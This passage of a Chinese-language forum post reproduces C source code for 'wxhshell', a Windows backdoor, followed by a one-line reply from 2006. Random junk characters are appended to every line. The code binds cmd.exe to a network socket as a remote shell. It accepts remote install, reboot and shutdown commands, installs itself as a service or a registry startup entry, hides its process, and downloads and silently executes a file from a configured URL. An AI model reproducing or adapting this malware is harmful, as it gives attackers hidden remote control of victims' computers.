  } 3s#|Y,{?6R  
  else { d|R HG  
D1"1MUSod  
    switch(cmd[0]) { KPD@b=F  
  X"laZd947>  
  // 帮助 (=6P]~,  
  case '?': { VvzPQk  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xAFek;GY?  
    break; fYv ;TV>73  
  } 5 1v r^  
  // 安装 !2/l9SUi  
  case 'i': { 1w(<0Be  
    if(Install()) =lYvj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UU*0dSWr  
    else A!n~8zcmp}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X9p+a,  
    break; LqMe'z  
    } "[FCQ  
  // 卸载 5ENov!$H  
  case 'r': { 4+BrTGp  
    if(Uninstall()) C+}CU}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9)1P+c--  
    else Bb$S^F(Xq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rv0-vH.n  
    break; W^-hMT]uD  
    } hQ\#Fhu7  
  // 显示 wxhshell 所在路径 -Mit$mFn  
  case 'p': { 39'X$!  
    char svExeFile[MAX_PATH]; 7)g;Wd+H  
    strcpy(svExeFile,"\n\r"); n5/ZJur  
      strcat(svExeFile,ExeFile); *'kC8 ZR5  
        send(wsh,svExeFile,strlen(svExeFile),0); /W7&U =d9  
    break; aY3pvOV  
    } 3 (Gygq#  
  // 重启 `[w}hFl~q  
  case 'b': { 2l]C55p)s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l#mqV@?A~  
    if(Boot(REBOOT)) JDIz28Ww  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VGq{y{(  
    else { pT|./ Fe  
    closesocket(wsh); H&"_}  
    ExitThread(0); (or =f`  
    } qpH j4  
    break; !NlB%cF  
    } ]W89.><%14  
  // 关机 n=lggBRx  
  case 'd': { c80"8r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D N2hv2  
    if(Boot(SHUTDOWN)) C@l +\M(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zw3hp,P]  
    else { tyBg7dP  
    closesocket(wsh); F(0pru4u  
    ExitThread(0); a,en8+r ]  
    } Yj|c+&Ng  
    break; &lOXi?&"  
    } D3,t6\m  
  // 获取shell w*]_FqE  
  case 's': { @]}Qh;a~  
    CmdShell(wsh); 3hp tP  
    closesocket(wsh); 7lnM|nD  
    ExitThread(0); o.v,n1Nm  
    break; Q*TQ*J7".X  
  } ]~4}(\u  
  // 退出 > 2!^ dT^D  
  case 'x': { XFLjVrX[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :Kt{t46)  
    CloseIt(wsh); *J*zml3  
    break; .)oQM:F (h  
    } d#M?lS>  
  // 离开 NK*:w *SOI  
  case 'q': { VLl&>Pbe-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [U+<uZzOC  
    closesocket(wsh); 2/a04qA#  
    WSACleanup(); FQv02V+&<  
    exit(1); hfP(N_""S  
    break; b*$o[wO9  
        } .pNq-T  
  } =}6Z{}(TT  
  } i&AXPq>`  
jb6ZAT<8  
  // 提示信息 06j)P6Iju  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DVeF(Y3&  
} @Reh?]# v  
  } P^o"PKA  
-v/?>  
  return; AmrJ_YP/t~  
} 3oNt]2w/'  
{/,+_E/  
// shell模块句柄 wE.@0  
int CmdShell(SOCKET sock) noD7G2o  
{ o9(#KC?3  
STARTUPINFO si; 8tB{rK,  
ZeroMemory(&si,sizeof(si)); NR@SDW  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xj(k(>7V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >ZOZv  
PROCESS_INFORMATION ProcessInfo; ;9- 4J  
char cmdline[]="cmd"; 's%ct}y\J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ir1RAmt%  
  return 0; Jq=>H@il  
} h;mQ%9 Yd  
rkER`  
// 自身启动模式 jw6ng>9  
int StartFromService(void) d,E/9y\e  
{ kB!M[[t  
typedef struct aNh1e^j  
{ <jg wdbT"6  
  DWORD ExitStatus; '~!l(&X  
  DWORD PebBaseAddress; +&@l{x(,  
  DWORD AffinityMask; RM / s :  
  DWORD BasePriority; xf3/<x!B  
  ULONG UniqueProcessId; jDkc~Wwa  
  ULONG InheritedFromUniqueProcessId; vzgudxG'z  
}   PROCESS_BASIC_INFORMATION; pQ6t]DJ4  
PhaQ3%  
PROCNTQSIP NtQueryInformationProcess; %%H. &*i,  
itvy[b-*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  4pOc`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M KE[Yb?  
<=LsloI  
  HANDLE             hProcess; sC'A_-'  
  PROCESS_BASIC_INFORMATION pbi; 2* cKFv{  
FnU{C=P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I "+|cFq.  
  if(NULL == hInst ) return 0; 62KW HB9S  
,L;c{[*rh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N'W >pU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ij,?G*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9dhFQWz"  
YfYL?G  
  if (!NtQueryInformationProcess) return 0; [zO(V`S2  
<\#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^SelqX  
  if(!hProcess) return 0; ?R~Ye  
yW7S }I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y)-)NLLG;n  
#'{PY r  
  CloseHandle(hProcess); laIC}!  
PT5ni6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fn"jYSy  
if(hProcess==NULL) return 0; ~O3uje_  
"NI>HO.U  
HMODULE hMod; d4rJ ?qw  
char procName[255]; _}%# Yz  
unsigned long cbNeeded; */@bNT9BgO  
^IegR>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [!|d[  
!t [%'!v  
  CloseHandle(hProcess); BsG[#4KM:  
&-. eu  
if(strstr(procName,"services")) return 1; // 以服务启动 97=YFK~*  
1Yx[,GyC>&  
  return 0; // 注册表启动 ry<}DK<u  
} Ik2szXh[J  
N4JL.(m){I  
// 主模块 F[qI fh4  
int StartWxhshell(LPSTR lpCmdLine) YuZ   
{ C{Xk/Er5<  
  SOCKET wsl; *d*;M>  
BOOL val=TRUE; 7m)ykq:?  
  int port=0; 7=[O6<+o  
  struct sockaddr_in door; J!gWRw5  
-O q=J;  
  if(wscfg.ws_autoins) Install(); 29E@e]Y,`  
t~=@r9`S  
port=atoi(lpCmdLine); IF21T  
G6g=F+X2  
if(port<=0) port=wscfg.ws_port; "I 1M$^8n  
in|7ucSlg  
  WSADATA data; At_Y$N:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a5g{.:NfO  
RwLdV+2\R`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^oZs&+z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L,ey3i7a\  
  door.sin_family = AF_INET; 61;5Yo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [Z&s0f1Qb  
  door.sin_port = htons(port); |gxB; GG  
LR?#H)$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vnOF$6n  
closesocket(wsl); rMFf8D(Y  
return 1; 79fyn!Iz<  
} BY2txLLB  
a[9OtZX<  
  if(listen(wsl,2) == INVALID_SOCKET) { uS10P7N}  
closesocket(wsl); 9>Z#o<*_/  
return 1; iPL'JVPZ  
} K%#C+`Ij  
  Wxhshell(wsl); =-& iF  
  WSACleanup(); &:{yf=  
CAObC%  
return 0; ,> EY9j  
"4- Nnm  
} l.'E\3Bo  
#NxvLW/  
// 以NT服务方式启动 *y@]zNPD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hLA=7  
{ v=^)`C6Ma  
DWORD   status = 0; yxq!. 72  
  DWORD   specificError = 0xfffffff; h |  
8o!^ZOmU<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y#W8] <dS"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :fQ*'m,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~./u0E  
  serviceStatus.dwWin32ExitCode     = 0; I z@x^s  
  serviceStatus.dwServiceSpecificExitCode = 0; FnU;n  
  serviceStatus.dwCheckPoint       = 0; fmyS# 6"  
  serviceStatus.dwWaitHint       = 0; dfd%A" I  
B{u.Yc:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F?4'>ZW  
  if (hServiceStatusHandle==0) return; *qOCo_=P8  
eEFT(e5.>3  
status = GetLastError(); eWs^[^c.<  
  if (status!=NO_ERROR) jWCC`0 T  
{ x1ex}_\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,;& PKY  
    serviceStatus.dwCheckPoint       = 0; 90I3_[Ii  
    serviceStatus.dwWaitHint       = 0; O/"&?)[v  
    serviceStatus.dwWin32ExitCode     = status; 7im;b15j`'  
    serviceStatus.dwServiceSpecificExitCode = specificError; "qp_*Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U9OF0=g  
    return; (G;*B<|A  
  } cHd39H9  
d$ 7 b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u _^=]K;  
  serviceStatus.dwCheckPoint       = 0; N%i<DsK.u6  
  serviceStatus.dwWaitHint       = 0; 9~ af\G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {u][q &n  
} PQay sdb  
5~5ypQj  
// 处理NT服务事件,比如:启动、停止 I[Y?f8gJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) t;6/bT-  
{ ~Q]M_,`M  
switch(fdwControl) cK/odOi  
{ 0`=?ig_  
case SERVICE_CONTROL_STOP: $~\qoW<  
  serviceStatus.dwWin32ExitCode = 0; $5 [RR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MM7gMAA.mz  
  serviceStatus.dwCheckPoint   = 0; Q&;qFv5-l  
  serviceStatus.dwWaitHint     = 0; @~HD<K  
  { /PS]AM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Jn80~U|1  
  } Q)8t;Kx  
  return; 7 4UE-H)  
case SERVICE_CONTROL_PAUSE: wAPdu y[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; );LwWKa  
  break; MeS$+9jV(  
case SERVICE_CONTROL_CONTINUE: zvg&o)/[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s o s&  
  break; 34+}u,=  
case SERVICE_CONTROL_INTERROGATE: zW.sXV,  
  break; 9|DC<Zn&B#  
}; MQu6Tm H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vnpX-c  
} /y@iaptC  
,B!Qv3bn  
// 标准应用程序主函数 tam/FzVw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Kjq1zl;  
{ Reo0ZU>  
wtyu"=  
// 获取操作系统版本 aT[7L9Cw  
OsIsNt=GetOsVer(); Z2 4 m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ay.IKBXc  
$r_gFv  
  // 从命令行安装 i{0_}"B  
  if(strpbrk(lpCmdLine,"iI")) Install(); #a:C=GV;4  
'Mtu-\  
  // 下载执行文件 f{oWd]eAhb  
if(wscfg.ws_downexe) { =)LpMTz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {5`?0+  
  WinExec(wscfg.ws_filenam,SW_HIDE); XjNu|H/  
} l{g( z !  
>kT~X ,o  
if(!OsIsNt) { =uTV\)  
// 如果时win9x,隐藏进程并且设置为注册表启动 >Fh@:M7z  
HideProc(); }+1oD{  
StartWxhshell(lpCmdLine); f|)t[,c  
} NST6pu\,U  
else 03T.Owd  
  if(StartFromService()) $Tza<nA  
  // 以服务方式启动 Y@eUvz  
  StartServiceCtrlDispatcher(DispatchTable); L&%iY7sC`  
else /zKuVaC  
  // 普通方式启动 .S;/v--F  
  StartWxhshell(lpCmdLine); 1g+<`1=KT  
V}?5=f'  
return 0; m~A/.t%=  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八